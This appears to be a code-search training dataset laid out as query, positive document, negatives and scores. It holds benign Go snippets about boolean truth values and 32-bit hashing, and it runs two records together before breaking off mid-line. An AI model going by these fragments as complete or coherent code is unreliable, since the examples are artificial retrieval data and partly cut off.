query
stringlengths
7
3.85k
document
stringlengths
11
430k
metadata
dict
negatives
sequencelengths
0
101
negative_scores
sequencelengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
Truth implements the starlark.Value.Truth() method.
func (s *Sub) Truth() starlark.Bool { return s == nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func truth(r reflect.Value) bool {\nout:\n\tswitch r.Kind() {\n\tcase reflect.Array, reflect.Slice:\n\t\treturn r.Len() > 0\n\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\treturn r.Int() > 0\n\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64:\n\t\treturn r.Uint() > 0\n\tcase reflect.Float32, reflect.Float64:\n\t\treturn r.Float() > 0\n\tcase reflect.String:\n\t\treturn r.String() != \"\"\n\tcase reflect.Bool:\n\t\treturn r.Bool()\n\tcase reflect.Ptr, reflect.Interface:\n\t\tr = r.Elem()\n\t\tgoto out\n\tdefault:\n\t\treturn r.Interface() != nil\n\t}\n}", "func True() TermT {\n\treturn TermT(C.yices_true())\n}", "func True(actual interface{}) Truth {\n\tmustBeCleanStart()\n\treturn Truth{actual.(bool), fmt.Sprintf(\"%#v\", actual)}\n}", "func (v *Value) Bool() bool {\n return Util.ToBool(v.data)\n}", "func (t *Target) Truth() starlark.Bool { return starlark.Bool(t == nil) }", "func (m *kubePackage) Truth() starlark.Bool { return starlark.True }", "func True(t TestingT, v interface{}, extras ...interface{}) bool {\n\tval, ok := v.(bool)\n\tif !ok || val != true {\n\t\texps, acts := toString(true, v)\n\n\t\treturn Errorf(t, \"Expect to be true\", []labeledOutput{\n\t\t\t{\n\t\t\t\tlabel: labelMessages,\n\t\t\t\tcontent: formatExtras(extras...),\n\t\t\t},\n\t\t\t{\n\t\t\t\tlabel: \"-expected\",\n\t\t\t\tcontent: exps,\n\t\t\t},\n\t\t\t{\n\t\t\t\tlabel: \"+received\",\n\t\t\t\tcontent: acts,\n\t\t\t},\n\t\t})\n\t}\n\n\treturn true\n}", "func (n *Node) Bool() bool", "func (m *Value) Bool() bool { return m.BoolMock() }", "func (v Value) Bool() (bool, error) {\n\tif v.typ != Bool {\n\t\treturn false, v.newError(\"%s is not a bool\", v.Raw())\n\t}\n\treturn v.boo, nil\n}", "func (v Value) Bool() bool {\n\treturn v.Integer() != 0\n}", "func True(v bool) {\n\tassert(v, 1, \"assert true\")\n}", "func Bool(x bool) bool { return x }", "func (sp booleanSpace) BoolOutcome(value bool) Outcome {\n\tif value {\n\t\treturn 1\n\t} else {\n\t\treturn 0\n\t}\n}", "func (i *Instance) Truth() exprcore.Bool {\n\treturn exprcore.True\n}", "func (sp booleanSpace) BoolValue(outcome Outcome) bool {\n\treturn outcome != 0\n}", "func (v Value) Truthy() bool {\n\tswitch v.Type() {\n\tcase TypeUndefined, TypeNull:\n\t\treturn false\n\tcase TypeBoolean:\n\t\treturn v.Bool()\n\tcase TypeNumber:\n\t\treturn !v.IsNaN() && v.Float() != 0\n\tcase TypeString:\n\t\treturn v.String() != \"\"\n\tcase TypeSymbol, TypeFunction, TypeObject:\n\t\treturn true\n\tdefault:\n\t\tpanic(\"bad type\")\n\t}\n}", "func (r Record) Bool(key string) bool {\n\tif r.dropped {\n\t\tlog.Fatalf(\"Int called on dropped record\")\n\t}\n\n\tval, ok := r.values[key]\n\tif !ok {\n\t\treturn false\n\t}\n\n\tswitch val := val.(type) {\n\tcase nil:\n\t\treturn false\n\tcase string:\n\t\treturn val == \"true\"\n\tcase int64:\n\t\treturn val != 0\n\tcase float64:\n\t\treturn val != 0.0\n\tcase bool:\n\t\treturn val\n\t}\n\n\treturn false\n}", "func (o BoolOperand) Evaluate(cxt interface{}) (bool, error) {\n\treturn o.Value, nil\n}", "func (o Nil) Truthy() bool { return false }", "func (v Value) Truthy() bool {\n\tpanic(message)\n}", "func (tr Row) Bool(nn int) (val bool) {\n\tval, err := tr.BoolErr(nn)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn\n}", "func Bool(a bool) cell.I {\n\tif a {\n\t\treturn sym.True\n\t}\n\n\treturn pair.Null\n}", "func (b *Bool) Literal() {}", "func (tv *TypedBool) Bool() bool {\n\treturn tv.Bytes[0] == 1\n}", "func (v Value) Bool() bool {\n\treturn v.v.Bool()\n}", "func (b *Boolean) True() *Boolean {\n\treturn b.Equal(true)\n}", "func (BooleanLiteral) literalNode() {}", "func (r *TTNRandom) Bool() bool {\n\treturn r.Interface.Intn(2) == 0\n}", "func True(Right) bool {\n\treturn true\n}", "func (n Nil) True() bool { return false }", "func (v *Value) Bool() (bool, error) {\n\tif v.kind == kindBool {\n\t\treturn v.boolContent, nil\n\t}\n\treturn false, nil\n}", "func IsTruthy(val string) bool {\n\tswitch strings.ToLower(strings.TrimSpace(val)) {\n\tcase \"y\", \"yes\", \"true\", \"t\", \"on\", \"1\":\n\t\treturn true\n\tdefault:\n\t\treturn false\n\t}\n}", "func Truthy(t *testing.T, name string, v bool) {\n\tif !v {\n\t\tflux.FatalFailed(t, \"Expected truthy value for %s\", name)\n\t} else {\n\t\tflux.LogPassed(t, \"%s passed with truthy value\", name)\n\t}\n}", "func Bool(r interface{}, err error) (bool, error) {\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tswitch r := r.(type) {\n\tcase bool:\n\t\treturn r, err\n\t// Very common in redis to reply int64 with 0 for bool flag.\n\tcase int:\n\t\treturn r != 0, nil\n\tcase int64:\n\t\treturn r != 0, nil\n\tcase []byte:\n\t\treturn strconv.ParseBool(string(r))\n\tcase string:\n\t\treturn strconv.ParseBool(r)\n\tcase nil:\n\t\treturn false, simplesessions.ErrNil\n\t}\n\treturn false, simplesessions.ErrAssertType\n}", "func BoolVal(x Value) bool {\n\treturn constant.BoolVal(x)\n}", "func (o *FakeObject) Bool() bool { return o.Value.(bool) }", "func False() TermT {\n\treturn TermT(C.yices_false())\n}", "func True(t Testing, v interface{}, formatAndArgs ...interface{}) bool {\n\tvar tv bool\n\tswitch v.(type) {\n\tcase bool:\n\t\ttv = v.(bool)\n\t}\n\n\tif tv != true {\n\t\treturn Fail(t, pretty.Sprintf(\"Expected %# v to be true\", v), formatAndArgs...)\n\t}\n\n\treturn true\n}", "func BoolConstValue(t TermT, val *int32) int32 {\n\treturn int32(C.yices_bool_const_value(C.term_t(t), (*C.int32_t)(val)))\n}", "func (s *Smpval) Bool() bool {\n\treturn s.b\n}", "func Bool(v *Value, def bool) bool {\n\tb, err := v.Bool()\n\tif err != nil {\n\t\treturn def\n\t}\n\treturn b\n}", "func (n BoolWrapper) Value() (Value, error) {\n\tif !n.Valid {\n\t\treturn nil, nil\n\t}\n\treturn n.Bool, nil\n}", "func wrapWithIsTrue(ctx sessionctx.Context, keepNull bool, arg Expression) (Expression, error) {\n\tif arg.GetType().EvalType() == types.ETInt {\n\t\treturn arg, nil\n\t}\n\tfc := &isTrueOrFalseFunctionClass{baseFunctionClass{ast.IsTruth, 1, 1}, opcode.IsTruth, keepNull}\n\tf, err := fc.getFunction(ctx, []Expression{arg})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsf := &ScalarFunction{\n\t\tFuncName: model.NewCIStr(ast.IsTruth),\n\t\tFunction: f,\n\t\tRetType: f.getRetTp(),\n\t}\n\treturn FoldConstant(sf), nil\n}", "func True(t testing.TB, value bool, msgAndArgs ...interface{}) bool {\n\tif !value {\n\t\treturn failTest(t, 1, fmt.Sprintf(\"True: expected `true`, actual `%#v`\", value), msgAndArgs...)\n\t}\n\n\treturn true\n}", "func (e *Encoder) Bool(v bool) (int, error) {\n\tif v {\n\t\treturn e.Byte(0x1)\n\t}\n\treturn e.Byte(0x0)\n}", "func Bool(v bool) (p *bool) { return &v }", "func (n *NotLikeOp) IsTrue(left, right EvalResult) (bool, error) {\n\treturn false, nil\n}", "func (v Bool) Bool() bool {\n\treturn v.v\n}", "func BoolVal(b *bool) bool {\n\tif b == nil {\n\t\treturn false\n\t}\n\treturn *b\n}", "func Bool(val interface{}) (bool, error) {\n\tif val == nil {\n\t\treturn false, nil\n\t}\n\tswitch ret := val.(type) {\n\tcase bool:\n\t\treturn ret, nil\n\tcase int, int8, int16, int32, int64, float32, float64, uint, uint8, uint16, uint32, uint64:\n\t\treturn ret != 0, nil\n\tcase []byte:\n\t\treturn stringToBool(string(ret))\n\tcase string:\n\t\treturn stringToBool(ret)\n\tdefault:\n\t\treturn false, converError(val, \"bool\")\n\t}\n}", "func (b *Bool) Value() bool {\n\t// generate nil checks and faults early.\n\tref := &b.i\n\treturn atomic.LoadUint64(ref) == 1\n}", "func TestNewResult_bool(t *testing.T) {\n\tvar reading interface{} = true\n\treq := models.CommandRequest{\n\t\tDeviceResourceName: \"light\",\n\t\tType: common.ValueTypeBool,\n\t}\n\n\tcmdVal, err := newResult(req, reading)\n\tif err != nil {\n\t\tt.Fatalf(\"Fail to create new ReadCommand result, %v\", err)\n\t}\n\tval, err := cmdVal.BoolValue()\n\tif val != true || err != nil {\n\t\tt.Errorf(\"Convert new result(%v) failed, error: %v\", val, err)\n\t}\n}", "func IsTruthy(s string) bool {\n\treturn s == \"1\" || strings.EqualFold(s, \"true\")\n}", "func (n *SoupNode) Truth() starlark.Bool {\n\treturn n != nil\n}", "func (v *Value) Bool() bool {\n\treturn (bool)(C.value_get_bool(v.value))\n}", "func (h *Random) Bool() bool {\n\tboolList := []bool{true, false}\n\trandomIndex := rand.Intn(len(boolList))\n\treturn boolList[randomIndex]\n}", "func TestCheckBinaryExprBoolRhlBool(t *testing.T) {\n\tenv := MakeSimpleEnv()\n\n\texpectCheckError(t, `true >> true`, env,\n\t\t`invalid operation: true >> true (shift count type bool, must be unsigned integer)`,\n\t)\n\n}", "func Bool(value interface{}) bool {\n\tret, err := BoolE(value)\n\tif err != nil {\n\t\tmod.Error(err)\n\t}\n\treturn ret\n}", "func (nvp *NameValues) Bool(name string) (bool, bool) {\n\tvalue, _ := nvp.String(name)\n\treturn (value == \"true\" || value == \"yes\" || value == \"1\" || value == \"-1\" || value == \"on\"), true\n}", "func Boolean() Scalar {\n\treturn booleanTypeInstance\n}", "func TestCheckBinaryExprBoolNeqBool(t *testing.T) {\n\tenv := MakeSimpleEnv()\n\n\texpectConst(t, `true != true`, env, (true != true), ConstBool)\n}", "func (v Value) Bool() bool {\n\tpanic(message)\n}", "func (l *LikeOp) IsTrue(left, right EvalResult) (bool, error) {\n\treturn false, nil\n}", "func TestFetchTrueBool(t *testing.T) {\n\texpected := \"true\"\n\tinput := \"rue\"\n\treader := bytes.NewReader([]byte(input))\n\tlex := NewLexer(reader)\n\tif err := lex.fetchTrueBool(); err != nil {\n\t\tt.Error(err.Error())\n\t\treturn\n\t}\n\n\tif len(lex.tokens) != 1 {\n\t\tt.Error(\"expecting 1 token to be fetched\")\n\t\treturn\n\t}\n\n\ttoken := lex.tokens[0]\n\tif token.t != TokenBool {\n\t\tt.Errorf(\"unexpected token type %d (%s), expecting token type %d (%s)\", token.t, tokenTypeMap[token.t], TokenBool, tokenTypeMap[TokenBool])\n\t\treturn\n\t}\n\n\tif token.String() != expected {\n\t\tt.Errorf(\"unexpected %s, expecting %s\", token.String(), expected)\n\t}\n}", "func isTrue(val reflect.Value) (truth, ok bool) {\n\tif !val.IsValid() {\n\t\t// Something like var x interface{}, never set. It's a form of nil.\n\t\treturn false, true\n\t}\n\tswitch val.Kind() {\n\tcase reflect.Array, reflect.Map, reflect.Slice, reflect.String:\n\t\ttruth = val.Len() > 0\n\tcase reflect.Bool:\n\t\ttruth = val.Bool()\n\tcase reflect.Complex64, reflect.Complex128:\n\t\ttruth = val.Complex() != 0\n\tcase reflect.Chan, reflect.Func, reflect.Ptr, reflect.Interface:\n\t\ttruth = !val.IsNil()\n\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\n\t\ttruth = val.Int() != 0\n\tcase reflect.Float32, reflect.Float64:\n\t\ttruth = val.Float() != 0\n\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr:\n\t\ttruth = val.Uint() != 0\n\tcase reflect.Struct:\n\t\ttruth = true // Struct values are always true.\n\tdefault:\n\t\treturn\n\t}\n\treturn truth, true\n}", "func (sr *StringResult) Bool() (bool, error) {\n\treturn redis.Bool(sr.val, nil)\n}", "func (r *Redis) Bool(reply interface{}, err error) (bool, error) {\n\treturn redigo.Bool(reply, err)\n}", "func TestBoolVal(t *testing.T) {\n\tConvey(\"Testing BoolVal\", t, func() {\n\t\ttrueValues := []string{\"yes\", \"ok\", \"true\", \"1\", \"enabled\", \"True\", \"TRUE\", \"YES\", \"Yes\"}\n\t\tfalseValues := []string{\"no\", \"0\", \"false\", \"False\", \"FALSE\", \"disabled\"}\n\t\tfor _, val := range trueValues {\n\t\t\tSo(BoolVal(val), ShouldBeTrue)\n\t\t}\n\t\tfor _, val := range falseValues {\n\t\t\tSo(BoolVal(val), ShouldBeFalse)\n\t\t}\n\t})\n}", "func TestCheckBinaryExprBoolEqlBool(t *testing.T) {\n\tenv := MakeSimpleEnv()\n\n\texpectConst(t, `true == true`, env, (true == true), ConstBool)\n}", "func TestCheckBinaryExprBoolGtrBool(t *testing.T) {\n\tenv := MakeSimpleEnv()\n\n\texpectCheckError(t, `true > true`, env,\n\t\t`invalid operation: true > true (operator > not defined on bool)`,\n\t)\n\n}", "func (opa *OPA) Bool(ctx context.Context, input interface{}, opts ...func(*rego.Rego)) (bool, error) {\n\n\tm := metrics.New()\n\tvar decisionID string\n\tvar revision string\n\tvar decision bool\n\n\terr := storage.Txn(ctx, opa.manager.Store, storage.TransactionParams{}, func(txn storage.Transaction) error {\n\n\t\tvar err error\n\n\t\trevision, err = getRevision(ctx, opa.manager.Store, txn)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tdecisionID, err = uuid4()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\topts = append(opts,\n\t\t\trego.Metrics(m),\n\t\t\trego.Query(defaultDecision),\n\t\t\trego.Input(input),\n\t\t\trego.Compiler(opa.manager.GetCompiler()),\n\t\t\trego.Store(opa.manager.Store),\n\t\t\trego.Transaction(txn))\n\n\t\trs, err := rego.New(opts...).Eval(ctx)\n\n\t\tif err != nil {\n\t\t\treturn err\n\t\t} else if len(rs) == 0 {\n\t\t\treturn fmt.Errorf(\"undefined decision\")\n\t\t} else if b, ok := rs[0].Expressions[0].Value.(bool); !ok || len(rs) > 1 {\n\t\t\treturn fmt.Errorf(\"non-boolean decision\")\n\t\t} else {\n\t\t\tdecision = b\n\t\t}\n\n\t\treturn nil\n\t})\n\n\tif opa.decisionLogsPlugin != nil {\n\t\trecord := &server.Info{\n\t\t\tRevision: revision,\n\t\t\tDecisionID: decisionID,\n\t\t\tTimestamp: time.Now(),\n\t\t\tQuery: defaultDecision,\n\t\t\tInput: input,\n\t\t\tError: err,\n\t\t\tMetrics: m,\n\t\t}\n\t\tif err == nil {\n\t\t\tvar x interface{} = decision\n\t\t\trecord.Results = &x\n\t\t}\n\t\topa.decisionLogsPlugin.Log(ctx, record)\n\t}\n\n\treturn decision, err\n}", "func False(v bool) {\n\tassert(!v, 1, \"assert false\")\n}", "func isTruthy(o object.Object) bool {\n\tswitch o {\n\tcase ConstFalse, ConstNil:\n\t\treturn false\n\tdefault:\n\t\t// special case: 0 or 0.0 is not truthy\n\t\tswitch o.Type() {\n\t\tcase object.IntType:\n\t\t\tif o.(*object.Integer).Value == 0 {\n\t\t\t\treturn false\n\t\t\t}\n\t\tcase object.FloatType:\n\t\t\tif o.(*object.Float).Value == 0.0 {\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\n\t\treturn true\n\t}\n}", "func isBoolean(t Type) bool { return isBasic(t, IsBoolean) }", "func Bool(a bool, b bool) bool {\n\treturn a == b\n}", "func (r *Decoder) Bool() bool {\n\tr.Sync(SyncBool)\n\tx, err := r.Data.ReadByte()\n\tr.checkErr(err)\n\tassert(x < 2)\n\treturn x != 0\n}", "func Bool(v *bool) bool {\n\tif v != nil {\n\t\treturn *v\n\t}\n\treturn false\n}", "func (this *Not) Type() value.Type { return value.BOOLEAN }", "func False(t TestingT, v interface{}, extras ...interface{}) bool {\n\tval, ok := v.(bool)\n\tif !ok || val != false {\n\t\texps, acts := toString(false, v)\n\n\t\treturn Errorf(t, \"Expect to be false\", []labeledOutput{\n\t\t\t{\n\t\t\t\tlabel: labelMessages,\n\t\t\t\tcontent: formatExtras(extras...),\n\t\t\t},\n\t\t\t{\n\t\t\t\tlabel: \"-expected\",\n\t\t\t\tcontent: exps,\n\t\t\t},\n\t\t\t{\n\t\t\t\tlabel: \"+received\",\n\t\t\t\tcontent: acts,\n\t\t\t},\n\t\t})\n\t}\n\n\treturn true\n}", "func (data *Data) Bool(s ...string) bool {\n\treturn data.Interface(s...).(bool)\n}", "func (n *eeNum) bool() *bool { return (*bool)(unsafe.Pointer(&n.data)) }", "func (*Base) LiteralBoolean(p ASTPass, node *ast.LiteralBoolean, ctx Context) {\n}", "func (v Boolean) Bool() bool {\n\treturn v.v\n}", "func (p Path) Truth() starlark.Bool { return starlark.True }", "func (b *Boolean) Raw() bool {\n\treturn b.value\n}", "func Bool(b bool) int {\n\tif b {\n\t\treturn 1\n\t}\n\treturn 0\n}", "func BoolValue(t bool) Value {\n\tif t {\n\t\treturn Value{Typ: ':', IntegerV: 1}\n\t}\n\treturn Value{Typ: ':', IntegerV: 0}\n}", "func True(t testing.TB, ok bool, msgAndArgs ...interface{}) {\n\tif ok {\n\t\treturn\n\t}\n\tt.Helper()\n\tt.Fatal(formatMsgAndArgs(\"Expected expression to be true\", msgAndArgs...))\n}", "func TestGetBooleanTrue(t *testing.T) {\n\tclient := newQueriesClient(t)\n\tresult, err := client.GetBooleanTrue(context.Background(), nil)\n\trequire.NoError(t, err)\n\trequire.Zero(t, result)\n}", "func (c *C) Bool() Type {\n\t// TODO: support custom bool types\n\treturn c.e.Go().Bool()\n}", "func Bool(b bool) Cell {\n\tif b {\n\t\treturn True\n\t}\n\treturn Nil\n}", "func (t *Typed) Bool(key string) bool {\n\treturn t.BoolOr(key, false)\n}", "func (w *Writer) Bool(b bool) error {\n\tif b {\n\t\treturn w.Bit(1)\n\t}\n\treturn w.Bit(0)\n}", "func Bool(v bool) *bool { return &v }", "func Bool(v bool) *bool { return &v }", "func Bool(v bool) *bool { return &v }", "func Bool(v bool) *bool { return &v }", "func Bool(v bool) *bool { return &v }", "func Bool(v bool) *bool { return &v }" ]
[ "0.630129", "0.60790426", "0.60114306", "0.58849615", "0.58371353", "0.580668", "0.577208", "0.57663786", "0.5739403", "0.5739189", "0.57298344", "0.5705361", "0.5696912", "0.56952465", "0.5692787", "0.56886774", "0.5669468", "0.56679356", "0.5640828", "0.56307244", "0.56175005", "0.5584502", "0.5530125", "0.55019766", "0.54810125", "0.5474026", "0.5467651", "0.5448691", "0.54477245", "0.5437447", "0.54259497", "0.54243916", "0.54177237", "0.54015934", "0.539693", "0.5388428", "0.53844523", "0.53761643", "0.5375636", "0.53585327", "0.5338131", "0.5332887", "0.5316107", "0.53128856", "0.53117776", "0.530934", "0.53045386", "0.5284231", "0.5282287", "0.52813506", "0.5279884", "0.527515", "0.5272233", "0.5268822", "0.5267206", "0.5266706", "0.52648604", "0.52627695", "0.5260629", "0.52526605", "0.52495736", "0.52282274", "0.5218645", "0.5214169", "0.52079487", "0.5206357", "0.52053505", "0.51988256", "0.5198557", "0.5195534", "0.5193505", "0.51862085", "0.51817745", "0.5180928", "0.5175276", "0.51709616", "0.5169485", "0.51552325", "0.5154236", "0.5153203", "0.5131832", "0.5130005", "0.51269543", "0.5117418", "0.51137984", "0.51061606", "0.5102064", "0.5098152", "0.5097925", "0.5091693", "0.50828505", "0.5082612", "0.508097", "0.5058649", "0.5055968", "0.5055968", "0.5055968", "0.5055968", "0.5055968", "0.5055968" ]
0.53146994
43
Hash32 implements the Arg.Hash32() method.
func (s *Sub) Hash32(h hash.Hash32) { h.Write([]byte(s.Format)) for _, sub := range s.Substitutions { h.Write([]byte(sub.Key)) sub.Value.Hash32(h) } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (p Path) Hash32(h hash.Hash32) { h.Write([]byte(p)) }", "func (t *Target) Hash32(h hash.Hash32) {\n\th.Write([]byte(t.Name))\n\th.Write([]byte(t.Builder))\n\tfor _, arg := range t.Args {\n\t\targ.Hash32(h)\n\t}\n\tfor _, env := range t.Env {\n\t\th.Write([]byte(env))\n\t}\n}", "func CalcHash32(data []byte) Hash32 {\n\treturn hash.Sum(data)\n}", "func (s String) Hash32(h hash.Hash32) { h.Write([]byte(s)) }", "func HexToHash32(s string) Hash32 { return BytesToHash(util.FromHex(s)) }", "func (ch *ConsistentHash) fnv32Hash(key string) uint32 {\n\tnew32Hash := fnv.New32()\n\tnew32Hash.Write([]byte(key))\n\treturn new32Hash.Sum32()\n}", "func hash(s string) uint32 {\n h := fnv.New32a()\n h.Write([]byte(s))\n return h.Sum32()\n}", "func hash(value string) uint32 {\n\th := fnv.New32a()\n\th.Write([]byte(value))\n\n\treturn h.Sum32()\n}", "func Hash(strings ...string) uint32 {\n\tdigester := fnv.New32()\n\tfor _, s := range strings {\n\t\t_, _ = io.WriteString(digester, s)\n\t}\n\treturn digester.Sum32()\n}", "func Hash(key string) uint32 {\n\treturn uint32(aeshashstr(noescape(unsafe.Pointer(&key)), 0))\n}", "func f32hash(p unsafe.Pointer, h uintptr) uintptr {\n\tf := *(*float32)(p)\n\tswitch {\n\tcase f == 0:\n\t\treturn c1 * (c0 ^ h) // +0, -0\n\tcase f != f:\n\t\treturn c1 * (c0 ^ h ^ uintptr(fastrand())) // any kind of NaN\n\tdefault:\n\t\treturn memhash(p, h, 4)\n\t}\n}", "func FNVHash32(value uint32) uint32 {\n\thash := FNVOffsetBasis32\n\tfor i := 0; i < 4; i++ {\n\t\toctet := value & 0x00FF\n\t\tvalue >>= 8\n\n\t\thash ^= octet\n\t\thash *= FNVPrime32\n\t}\n\treturn hash\n}", "func hash(x []byte) uint32 {\n\treturn crc32.ChecksumIEEE(x)\n}", "func Hash32(s []byte) uint32 {\n\tn := uint32(len(s))\n\tif n <= 24 {\n\t\tif n <= 12 {\n\t\t\tif n <= 4 {\n\t\t\t\treturn hash32Len0to4(s)\n\t\t\t}\n\t\t\treturn hash32Len5to12(s)\n\t\t}\n\t\treturn hash32Len13to24(s)\n\t}\n\n\t// n > 24\n\th := n\n\tg := c1 * n\n\tf := g\n\n\ta0 := ror32(fetch32(s[n-4:])*c1, 17) * c2\n\ta1 := ror32(fetch32(s[n-8:])*c1, 17) * c2\n\ta2 := ror32(fetch32(s[n-16:])*c1, 17) * c2\n\ta3 := ror32(fetch32(s[n-12:])*c1, 17) * c2\n\ta4 := ror32(fetch32(s[n-20:])*c1, 17) * c2\n\n\tconst magic = 0xe6546b64\n\th ^= a0\n\th = ror32(h, 19)\n\th = h*5 + magic\n\th ^= a2\n\th = ror32(h, 19)\n\th = h*5 + magic\n\tg ^= a1\n\tg = ror32(g, 19)\n\tg = g*5 + magic\n\tg ^= a3\n\tg = ror32(g, 19)\n\tg = g*5 + magic\n\tf += a4\n\tf = ror32(f, 19)\n\tf = f*5 + magic\n\tfor i := (n - 1) / 20; i != 0; i-- {\n\t\ta0 := ror32(fetch32(s)*c1, 17) * c2\n\t\ta1 := fetch32(s[4:])\n\t\ta2 := ror32(fetch32(s[8:])*c1, 17) * c2\n\t\ta3 := ror32(fetch32(s[12:])*c1, 17) * c2\n\t\ta4 := fetch32(s[16:])\n\t\th ^= a0\n\t\th = ror32(h, 18)\n\t\th = h*5 + magic\n\t\tf += a1\n\t\tf = ror32(f, 19)\n\t\tf = f * c1\n\t\tg += a2\n\t\tg = ror32(g, 18)\n\t\tg = g*5 + magic\n\t\th ^= a3 + a1\n\t\th = ror32(h, 19)\n\t\th = h*5 + magic\n\t\tg ^= a4\n\t\tg = bswap32(g) * 5\n\t\th += a4 * 5\n\t\th = bswap32(h)\n\t\tf += a0\n\t\tf, g, h = g, h, f // a.k.a. PERMUTE3\n\t\ts = s[20:]\n\t}\n\tg = ror32(g, 11) * c1\n\tg = ror32(g, 17) * c1\n\tf = ror32(f, 11) * c1\n\tf = ror32(f, 17) * c1\n\th = ror32(h+g, 19)\n\th = h*5 + magic\n\th = ror32(h, 17) * c1\n\th = ror32(h+f, 19)\n\th = h*5 + magic\n\th = ror32(h, 17) * c1\n\treturn h\n}", "func hash(s string) int {\n\th := fnv.New32a()\n\tif _, err := h.Write([]byte(s)); err != nil {\n\t\tpanic(err) // should never happen\n\t}\n\n\treturn int(h.Sum32() & 0x7FFFFFFF) // mask MSB of uint32 as this will be sign bit\n}", "func (gg GlobGroup) Hash32(h hash.Hash32) {\n\tfor _, p := range gg {\n\t\th.Write([]byte(p))\n\t}\n}", "func Hash32(s []byte) uint32 {\n\n\tslen := len(s)\n\n\tif slen <= 24 {\n\t\tif slen <= 12 {\n\t\t\tif slen <= 4 {\n\t\t\t\treturn hash32Len0to4(s, 0)\n\t\t\t}\n\t\t\treturn hash32Len5to12(s, 0)\n\t\t}\n\t\treturn hash32Len13to24Seed(s, 0)\n\t}\n\n\t// len > 24\n\th := uint32(slen)\n\tg := c1 * uint32(slen)\n\tf := g\n\ta0 := rotate32(fetch32(s, slen-4)*c1, 17) * c2\n\ta1 := rotate32(fetch32(s, slen-8)*c1, 17) * c2\n\ta2 := rotate32(fetch32(s, slen-16)*c1, 17) * c2\n\ta3 := rotate32(fetch32(s, slen-12)*c1, 17) * c2\n\ta4 := rotate32(fetch32(s, slen-20)*c1, 17) * c2\n\th ^= a0\n\th = rotate32(h, 19)\n\th = h*5 + 0xe6546b64\n\th ^= a2\n\th = rotate32(h, 19)\n\th = h*5 + 0xe6546b64\n\tg ^= a1\n\tg = rotate32(g, 19)\n\tg = g*5 + 0xe6546b64\n\tg ^= a3\n\tg = rotate32(g, 19)\n\tg = g*5 + 0xe6546b64\n\tf += a4\n\tf = rotate32(f, 19) + 113\n\titers := (slen - 1) / 20\n\tfor {\n\t\ta := fetch32(s, 0)\n\t\tb := fetch32(s, 4)\n\t\tc := fetch32(s, 8)\n\t\td := fetch32(s, 12)\n\t\te := fetch32(s, 16)\n\t\th += a\n\t\tg += b\n\t\tf += c\n\t\th = mur(d, h) + e\n\t\tg = mur(c, g) + a\n\t\tf = mur(b+e*c1, f) + d\n\t\tf += g\n\t\tg += f\n\t\ts = s[20:]\n\t\titers--\n\t\tif iters == 0 {\n\t\t\tbreak\n\t\t}\n\t}\n\tg = rotate32(g, 11) * c1\n\tg = rotate32(g, 17) * c1\n\tf = rotate32(f, 11) * c1\n\tf = rotate32(f, 17) * c1\n\th = rotate32(h+g, 19)\n\th = h*5 + 0xe6546b64\n\th = rotate32(h, 17) * c1\n\th = rotate32(h+f, 19)\n\th = h*5 + 0xe6546b64\n\th = rotate32(h, 17) * c1\n\treturn h\n}", "func (h Hash20) ToHash32() (h32 Hash32) {\n\tcopy(h32[:], h[:])\n\treturn\n}", "func TestExample(t *testing.T) {\n\tstr := \"hello world\"\n\tbytes := []byte(str)\n\thash := Hash32(bytes)\n\tfmt.Printf(\"Hash32(%s) is %x\\n\", str, hash)\n}", "func hash(data []byte) uint32 {\n\tvar h uint32 = binary.LittleEndian.Uint32(data) * kDictHashMul32\n\n\t/* The higher bits contain more mixture from the multiplication,\n\t so we take our results from there. */\n\treturn h >> uint(32-kDictNumBits)\n}", "func (h *Hash) Sum32() (uint32, bool) {\n\th32, ok := h.Hash.(hash.Hash32)\n\tif !ok {\n\t\treturn 0, false\n\t}\n\n\treturn h32.Sum32(), true\n}", "func (t *hashReader) Sum32() uint32 {\n\treturn t.h.Sum32()\n}", "func (d Data32) Hash() Hash {\n\treturn hash(d)\n}", "func hash3(u uint32, h uint8) uint32 {\n\treturn ((u << (32 - 24)) * prime3bytes) >> ((32 - h) & 31)\n}", "func hash(elements ...[32]byte) [32]byte {\n\tvar hash []byte\n\tfor i := range elements {\n\t\thash = append(hash, elements[i][:]...)\n\t}\n\treturn sha256.Sum256(hash)\n}", "func strhash(a unsafe.Pointer, h uintptr) uintptr", "func CalcObjectHash32(obj scale.Encodable) Hash32 {\n\tbytes, err := codec.Encode(obj)\n\tif err != nil {\n\t\tpanic(\"could not serialize object\")\n\t}\n\treturn CalcHash32(bytes)\n}", "func (h *Hash) IsHash32() bool {\n\t_, ok := h.Hash.(hash.Hash32)\n\treturn ok\n}", "func TestHash32(t *testing.T) {\n\tstdHash := crc32.New(crc32.IEEETable)\n\tif _, err := stdHash.Write([]byte(\"test\")); err != nil {\n\t\tt.Fatal(err)\n\t}\n\t// create a new hash with stdHash.Sum32() as initial crc\n\tcrcHash := New(stdHash.Sum32(), crc32.IEEETable)\n\n\tstdHashSize := stdHash.Size()\n\tcrcHashSize := crcHash.Size()\n\tif stdHashSize != crcHashSize {\n\t\tt.Fatalf(\"%d != %d\", stdHashSize, crcHashSize)\n\t}\n\n\tstdHashBlockSize := stdHash.BlockSize()\n\tcrcHashBlockSize := crcHash.BlockSize()\n\tif stdHashBlockSize != crcHashBlockSize {\n\t\tt.Fatalf(\"%d != %d\", stdHashBlockSize, crcHashBlockSize)\n\t}\n\n\tstdHashSum32 := stdHash.Sum32()\n\tcrcHashSum32 := crcHash.Sum32()\n\tif stdHashSum32 != crcHashSum32 {\n\t\tt.Fatalf(\"%d != %d\", stdHashSum32, crcHashSum32)\n\t}\n\n\tstdHashSum := stdHash.Sum(make([]byte, 32))\n\tcrcHashSum := 